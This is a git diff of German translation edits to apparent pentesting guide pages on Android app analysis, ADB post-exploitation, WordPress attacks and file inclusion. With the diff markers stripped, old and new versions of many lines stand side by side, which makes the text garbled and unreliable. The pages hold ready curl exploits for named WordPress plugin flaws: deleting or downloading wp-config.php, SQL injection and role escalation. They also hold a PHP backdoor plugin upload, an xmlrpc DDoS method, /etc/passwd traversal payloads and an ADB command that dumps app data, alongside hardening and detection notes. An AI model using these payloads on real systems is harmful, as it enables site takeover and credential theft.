**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, der als **Smali** dargestellt wird, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
Dieses Tool sucht nach **häufigen Verhaltensweisen von "schlechten" Anwendungen** wie: Exfiltration von Telefondaten, Abfangen von Audio-/Video-Streams, Modifikation von PIM-Daten, Ausführung beliebigen Codes...
```
@ -672,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
Es kann:

View File

@ -35,9 +35,9 @@ Für eine allgemeine ADB-Befehlsreferenz siehe:
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
## Schnelle Post-Exploitation
## Schnelle Nachnutzung
Sobald Sie eine Shell haben, validieren Sie die Berechtigungen und den SELinux-Kontext:
Sobald Sie eine Shell haben, überprüfen Sie die Berechtigungen und den SELinux-Kontext:
```bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
@ -48,9 +48,9 @@ id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
pm list packages -3
pm path <pkg>
```
- Wenn du Root hast (adb root oder su funktioniert), kannst du direkt auf /data zugreifen. Andernfalls bevorzuge run-as für debugbare Apps:
- Wenn du Root hast (adb root oder su funktioniert), kannst du direkt auf /data zugreifen. Andernfalls bevorzuge run-as für debuggable Apps:
```bash
# Ohne Root, für eine debugbare App
# Ohne Root, für eine debuggable App
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Mit Root
@ -81,7 +81,7 @@ adb shell am broadcast -a <action>
### Portweiterleitung und Pivotierung
Selbst ohne Root kann adb lokale Ports auf Geräteports und umgekehrt weiterleiten. Dies ist nützlich, um auf lokal auf dem Gerät gebundene Dienste zuzugreifen oder Angreiferdienste dem Gerät zur Verfügung zu stellen.
Selbst ohne Root kann adb lokale Ports auf Geräteports und umgekehrt weiterleiten. Dies ist nützlich, um auf lokal gebundene Dienste auf dem Gerät zuzugreifen oder Angreiferdienste dem Gerät zur Verfügung zu stellen.
- Weiterleitung Host->Gerät (Zugriff auf einen geräte-lokalen Dienst von deinem Host):
```bash
@ -117,13 +117,13 @@ Notizen
- _adb._tcp (legacy/plain)
- Wenn mDNS gefiltert ist, kann das klassische USB-unterstützte Aktivieren möglicherweise bei einigen Builds noch funktionieren: `adb tcpip 5555` dann `adb connect <ip>:5555` (bis zum Neustart).
Offensive Implikationen: Wenn Sie mit der Benutzeroberfläche des Geräts interagieren können (z. B. physischer Zugriff oder falsche Konfiguration von mobilem MDM), um das kabellose Debugging zu aktivieren und den Pairing-Code anzuzeigen, können Sie einen langlebigen, gepaarten ADB-Kanal ohne Kabel einrichten. Einige OEMs bieten ADB über TCP in Engineering-/Entwicklungsbildern ohne Pairing an immer überprüfen.
Offensive Implikationen: Wenn Sie mit der Benutzeroberfläche des Geräts interagieren können (z. B. physischer Zugriff oder falsche Konfiguration von mobilem MDM), um das drahtlose Debugging zu aktivieren und den Pairing-Code anzuzeigen, können Sie einen langlebigen, gepaarten ADB-Kanal ohne Kabel einrichten. Einige OEMs bieten ADB über TCP in Engineering-/Entwicklungsbildern ohne Pairing an immer überprüfen.
## Härtung / Erkennung
Verteidiger sollten davon ausgehen, dass jeder erreichbare adbd (TCP) ein kritisches Risiko darstellt.
- Deaktivieren Sie ADB und kabelloses Debugging, wenn nicht benötigt. Widerrufen Sie USB-Debugging-Berechtigungen in den Entwickleroptionen.
- Deaktivieren Sie ADB und drahtloses Debugging, wenn nicht benötigt. Widerrufen Sie USB-Debugging-Berechtigungen in den Entwickleroptionen.
- Stellen Sie sicher, dass die Netzwerkpolitik eingehendes TCP/5555 und mDNS-basiertes ADB-Discovery in nicht vertrauenswürdigen Segmenten blockiert.
- Auf Geräten unter Ihrer Kontrolle:
```bash
@ -131,7 +131,7 @@ settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # TCP-Listening deaktivieren (oder verwenden: adb usb)
stop adbd; start adbd # Daemon neu starten
```
- Überwachen Sie mDNS-Einträge `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` in Unternehmensnetzwerken und warnen Sie vor unerwarteten 5555-Listenern.
- Überwachen Sie mDNS-Einträge `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` in Unternehmensnetzwerken und alarmieren Sie bei unerwarteten 5555-Listenern.
- Inventarisieren Sie unsichere Builds: `getprop ro.debuggable`, `ro.build.type` und `ro.adb.secure`.
## Shodan

View File

@ -193,7 +193,7 @@ Dies kann verwendet werden, um **tausende** von WordPress **Websites** zu **bitt
Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist.
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
**DDoS**
```html
@ -210,7 +210,7 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
### wp-cron.php DoS
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
@ -229,7 +229,7 @@ Dies ist die Antwort, wenn es nicht funktioniert:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Dieses Tool überprüft, ob die **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
Dieses Tool überprüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
## Automatische Werkzeuge
```bash
@ -246,7 +246,7 @@ return new WP_Error(
```
## **Panel RCE**
**Ändern einer PHP-Datei des verwendeten Themas (Admin-Anmeldeinformationen erforderlich)**
**Ändern einer PHP-Datei aus dem verwendeten Theme (Admin-Anmeldeinformationen erforderlich)**
Aussehen → Theme-Editor → 404-Vorlage (rechts)
@ -269,7 +269,7 @@ to get a session.
### PHP-Plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
Erstellen Sie Ihre PHP-Hintertür beispielsweise mit:
Erstellen Sie Ihre PHP-Hintertür zum Beispiel mit:
![](<../../images/image (183).png>)
@ -277,7 +277,7 @@ Fügen Sie dann ein neues Plugin hinzu:
![](<../../images/image (722).png>)
Laden Sie das Plugin hoch und drücken Sie auf Jetzt installieren:
Laden Sie das Plugin hoch und drücken Sie Jetzt installieren:
![](<../../images/image (249).png>)
@ -285,7 +285,7 @@ Klicken Sie auf Fortfahren:
![](<../../images/image (70).png>)
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre Shell hochgeladen sehen:
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre hochgeladene Shell sehen:
![](<../../images/image (462).png>)
@ -304,10 +304,10 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Ausnutzung**:
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch das Laden des entsprechenden Moduls und das Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -315,7 +315,7 @@ Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zur
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Skript, das entwickelt wurde, um eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
- _**Privilegieneskalation:**_ Erstellt einen Benutzer in WordPress.
- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) Hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- _**(RCE) Eingebautes Plugin bearbeiten:**_ Bearbeiten Sie ein eingebautes Plugin in WordPress.
- _**(RCE) Eingebautes Theme bearbeiten:**_ Bearbeiten Sie ein eingebautes Theme in WordPress.
- _**(Benutzerdefiniert) Benutzerdefinierte Exploits:**_ Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.
@ -362,23 +362,23 @@ $this->namespace, '/get/', array(
)
);
```
Der `permission_callback` ist eine Rückruffunktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
Der `permission_callback` ist ein Callback zu einer Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
**Wenn die eingebaute `__return_true`-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**
- **Direkter Zugriff auf die PHP-Datei**
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, kann es von jedem Benutzer ausgenutzt werden.
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar.
### Unauthentifizierte willkürliche Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins legen häufig AJAX-Handler über die `wp_ajax_` und `wp_ajax_nopriv_` Hooks offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Rückruf für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss:
WordPress-Themes und -Plugins legen häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_` offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Callback für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss:
1. Eine **Berechtigungsüberprüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
2. Ein **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
3. **Strenge Eingabesäuberung / Validierung**.
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family*-Funktion vergessen und endete mit dem folgenden Code (vereinfacht):
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der Funktion *Remove Font Family* vergessen und endete mit dem folgenden Code (vereinfacht):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -397,10 +397,10 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
Probleme, die durch diesen Snippet eingeführt werden:
* **Unauthentifizierter Zugriff** der `wp_ajax_nopriv_` Hook ist registriert.
* **Kein Nonce-/Berechtigungscheck** jeder Besucher kann den Endpunkt aufrufen.
* **Kein Nonce-/Berechtigungscheck** jeder Besucher kann den Endpunkt erreichen.
* **Keine Pfadsanitisierung** der benutzerkontrollierte `fontfamily`-String wird ohne Filterung an einen Dateisystempfad angehängt, was klassische `../../` Traversierung ermöglicht.
#### Ausnutzung
@ -411,11 +411,11 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Weil `wp-config.php` außerhalb von *uploads* liegt, sind vier `../`-Sequenzen bei einer Standardinstallation ausreichend. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten*, was eine vollständige Übernahme der Seite ermöglicht (der Angreifer gibt lediglich eine neue DB-Konfiguration ein und erstellt einen Admin-Benutzer).
Weil `wp-config.php` außerhalb von *uploads* liegt, sind vier `../`-Sequenzen bei einer Standardinstallation ausreichend. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten*, was eine vollständige Übernahme der Seite ermöglicht (der Angreifer gibt lediglich eine neue DB-Konfiguration an und erstellt einen Admin-Benutzer).
Weitere wichtige Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
#### Erkennungs-Checkliste
#### Erkennungscheckliste
* Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.).
* Verkettung von unsaniertem Benutzereingaben in Pfade (suchen Sie nach `$_POST`, `$_GET`, `$_REQUEST`).
@ -441,16 +441,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Behandeln Sie** jede Schreib-/Löschoperation auf der Festplatte als privilegiert und überprüfen Sie doppelt:
> **Behandeln** Sie immer jede Schreib-/Löschoperation auf der Festplatte als privilegiert und überprüfen Sie doppelt:
> • Authentifizierung • Autorisierung • Nonce • Eingabesäuberung • Pfadbegrenzung (z. B. über `realpath()` plus `str_starts_with()`).
---
### Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
Viele Plugins implementieren eine "als Rolle anzeigen" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) in den Benutzermetadaten speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad nur auf Anfrageparametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste basiert, ohne die Berechtigungen und eine gültige Nonce zu überprüfen, wird dies zu einer vertikalen Privilegieneskalation.
Viele Plugins implementieren eine "als Rolle anzeigen" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) in den Benutzermetadaten speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungsweg nur auf Anfrageparametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste basiert, ohne die Berechtigungen und eine gültige Nonce zu überprüfen, wird dies zu einer vertikalen Privilegieneskalation.
Ein Beispiel aus der Praxis wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Rücksetz-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Überprüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus den Benutzermetadaten `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden:
Ein Beispiel aus der Praxis wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Überprüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus den Benutzermetadaten `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -468,14 +468,14 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
Warum es ausnutzbar ist
- Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
- Wenn ein Benutzer zuvor höhere Berechtigungen in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
- Wenn ein Benutzer zuvor höhere Berechtigungen in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese durch Aufrufen des Reset-Pfads wiederherstellen.
- In einigen Bereitstellungen konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (gebrochene Autorisierung).
Angriffs-Voraussetzungen
Angriffsvoraussetzungen
- Verwundbare Plugin-Version mit aktivierter Funktion.
- Zielkonto hat eine veraltete hochprivilegierte Rolle, die aus früherer Nutzung im Benutzermeta gespeichert ist.
- Jede authentifizierte Sitzung; fehlender nonce/Fähigkeit im Reset-Prozess.
- Zielkonto hat eine veraltete Hochprivilegienrolle, die aus früherer Nutzung im Benutzermeta gespeichert ist.
- Jede authentifizierte Sitzung; fehlender nonce/Fähigkeit im Reset-Flow.
Ausnutzung (Beispiel)
```bash
@ -493,7 +493,7 @@ Erkennungscheckliste
- Identifizieren Sie Rücksetz-/Wiederherstellungspfade, die:
- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen.
- Rollen über `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` ändern.
- Basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs autorisieren.
- Basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) autorisieren, anstatt auf den Fähigkeiten des Akteurs.
Härtung
@ -550,11 +550,11 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Issues introduced by this snippet:
1. **Unsanitized Benutzerinput** `parentid` kommt direkt aus der HTTP-Anfrage.
2. **String-Verkettung innerhalb der WHERE-Klausel** kein `is_numeric()` / `esc_sql()` / vorbereitete Anweisung.
3. **Unauthentifizierte Erreichbarkeit** obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet.
1. **Unsanitised user input** `parentid` kommt direkt aus der HTTP-Anfrage.
2. **Stringverkettung innerhalb der WHERE-Klausel** kein `is_numeric()` / `esc_sql()` / vorbereitete Anweisung.
3. **Unauthenticated reachability** obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet.
#### Ausnutzung
#### Exploitation
1. Holen Sie sich einen frischen nonce:
```bash
@ -571,15 +571,15 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder ändert die Datenbank, was SQLi beweist.
### Unauthentifizierter beliebiger Dateidownload / Pfad Traversierung (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine andere Aufgabe, **downloadcustomfile**, erlaubte es Besuchern, **jede Datei auf der Festplatte** über Pfad Traversierung herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
Eine andere Aufgabe, **downloadcustomfile**, erlaubte es Besuchern, **jede Datei auf der Festplatte** über Path Traversal herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` ist vom Angreifer kontrolliert und wird **ohne Sanitisation** verkettet. Wiederum ist das einzige Tor ein **CSRF-Nonce**, der von der Lebenslaufseite abgerufen werden kann.
`$file_name` ist vom Angreifer kontrolliert und wird **ohne Sanitisation** verkettet. Wiederum ist die einzige Hürde ein **CSRF-Nonce**, der von der Lebenslaufseite abgerufen werden kann.
#### Ausnutzung
```bash
@ -590,7 +590,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Der Server antwortet mit dem Inhalt von `wp-config.php`, wodurch DB-Anmeldeinformationen und Authentifizierungsschlüssel offengelegt werden.
Der Server antwortet mit den Inhalten von `wp-config.php`, wodurch DB-Anmeldeinformationen und Authentifizierungsschlüssel offengelegt werden.
## Referenzen

View File

@ -84,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erforschen von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz spezifischer Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
```bash
@ -97,15 +97,15 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, nachdem er durch die Sicherheitsmaßnahme verändert wurde, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Wurzelverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Beim Einsatz von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Beim Einsatz von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus** ist. Es muss **Ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **aus** ist. Es muss **ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
```python
